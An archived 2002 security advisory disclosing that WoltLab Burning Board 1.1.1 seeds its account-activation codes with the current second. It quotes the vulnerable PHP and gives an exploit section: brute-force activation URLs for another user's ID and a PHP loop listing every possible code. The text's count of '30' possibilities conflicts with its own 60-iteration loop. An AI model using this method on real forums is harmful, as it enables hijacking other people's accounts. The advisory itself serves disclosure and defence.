[UNIX] WBBoard New User Registration Vulnerability
From: support@securiteam.comDate: 05/28/02
- Previous message: support@securiteam.com: "[NT] FtpXQ MKD Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Tue, 28 May 2002 08:06:21 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
WBBoard New User Registration Vulnerability
------------------------------------------------------------------------
SUMMARY
The <http://www.woltlab.de> WoltLab Burning Board is a simple to use
forum software. A security vulnerability in the product allows attackers
to gain access to anyone's user account with a very short brute forcing
attack (a maximum of 30 tries), this is due to a flaw in the randomization
function being used in the program.
DETAILS
Vulnerable systems:
* WoltLab Burning Board version 1.1.1
Vulnerable code:
In register.php:
---------------------------
$datum = date("s");
mt_srand($datum);
$z = mt_rand();
$db_zugriff->query("INSERT INTO bb".$n."_user_table
$db_zugriff->(username,userpassword,useremail,regemail,groupid,regdate,lastvisit,lastactivity,activation)
$db_zugriff->VALUES
$db_zugriff->('$name','$password','$email','$email','$default_group','$time','$time','$time',$z)");
---------------------------
After that, an email will be sent to user@mail.dom with an URL that will
activate the account.
Here is the activation code (action.php):
---------------------------
if($action=="activation") {
$result = activat($userid,$code);
if($result == 1) eval ("\$output =
\"".gettemplate("error1")."\";");
if($result == 2) eval ("\$output =
\"".gettemplate("error22")."\";");
if($result == 3) eval ("\$output =
\"".gettemplate("error23")."\";");
if(!$result) {
$user_id = $userid;
eval ("\$output = \"".gettemplate("note21")."\";");
$user_password = getUserPW($userid);
session_register("user_id");
session_register("user_password");
setcookie("user_id", "$user_id", time()+(3600*24*365));
setcookie("user_password", "$user_password",
time()+(3600*24*365));
}
$ride = "main.php?styleid=$styleid$session";
}
---------------------------
Note that the activat() function generates the activation code using the
following code:
$datum = date("s");
mt_srand($datum); // This code result only 30 original integer words.
$z = mt_rand();
As noted above, the number of combinations this code generates is no
larger than 30.
Exploit:
Register in forum you will receive a message like this:
To continue registration
http://forum.dom/forum/action.php?action=activation&userid=345&code=1563109322
Now since the code used to generate the activation code does this with a
limited set (a small number of activation codes are possible), trying out
all combinations:
http://forum.dom/forum/action.php?action=activation&userid=346&code=1898087491
http://forum.dom/forum/action.php?action=activation&userid=346&code=1309289693
...
http://forum.dom/forum/action.php?action=activation&userid=346&code=356268007
Would not be too hard, to display all the combinations you can use the
following PHP code:
<?php for($i=0; $i<60; $i++)
{
mt_srand($i);
echo mt_rand()."<BR>";
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:seazon@dnestr.com> SeazoN.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] FtpXQ MKD Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
